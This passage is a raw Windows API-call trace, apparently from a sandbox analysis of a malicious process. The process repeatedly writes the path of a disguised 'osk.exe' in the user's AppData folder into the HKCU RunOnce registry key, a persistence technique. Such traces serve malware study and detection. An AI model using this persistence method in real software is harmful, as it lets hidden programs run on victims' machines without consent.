rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.416] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x23 [0256.416] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x6240220) returned 0x0 [0256.420] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x22 [0256.420] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.420] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.420] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.421] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.421] RegCloseKey (hKey=0x14c) returned 0x0 [0256.421] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.421] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.430] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.430] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.430] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.430] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.430] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240270 | out: ppvObject=0x6240270*=0x0) returned 0x80004002 [0256.430] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x24 [0256.430] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.430] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x25 [0256.431] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0600) returned 0x0 [0256.431] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x24 [0256.431] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.431] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.431] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.431] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.431] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240290 | out: ppvObject=0x6240290*=0x0) returned 0x80004002 [0256.431] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x25 [0256.431] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x24 [0256.431] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.432] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x24 [0256.432] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x62402a0) returned 0x0 [0256.433] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x23 [0256.433] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.433] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.433] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.433] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.433] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.433] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.433] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.433] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.434] RegCloseKey (hKey=0x14c) returned 0x0 [0256.434] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.434] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.445] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.445] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.446] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.446] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.446] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x62402f0 | out: ppvObject=0x62402f0*=0x0) returned 0x80004002 [0256.446] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x25 [0256.446] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.446] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x26 [0256.446] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e05a0) returned 0x0 [0256.446] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x25 [0256.446] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.447] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.447] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.447] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.447] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240310 | out: ppvObject=0x6240310*=0x0) returned 0x80004002 [0256.447] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x26 [0256.447] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x25 [0256.447] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.447] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x25 [0256.447] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x6240320) returned 0x0 [0256.448] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x24 [0256.448] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.449] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.449] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.449] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.449] RegCloseKey (hKey=0x14c) returned 0x0 [0256.449] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.452] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.452] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.452] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.452] GetWindowLongW (hWnd=0x10222, nIndex=0) returned 10683448 [0256.461] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.461] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.461] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240370 | out: ppvObject=0x6240370*=0x0) returned 0x80004002 [0256.461] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x26 [0256.461] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.462] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x27 [0256.462] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0540) returned 0x0 [0256.462] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x26 [0256.462] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.462] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.462] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.462] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.462] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240390 | out: ppvObject=0x6240390*=0x0) returned 0x80004002 [0256.462] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x27 [0256.462] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x26 [0256.463] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.463] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x26 [0256.463] 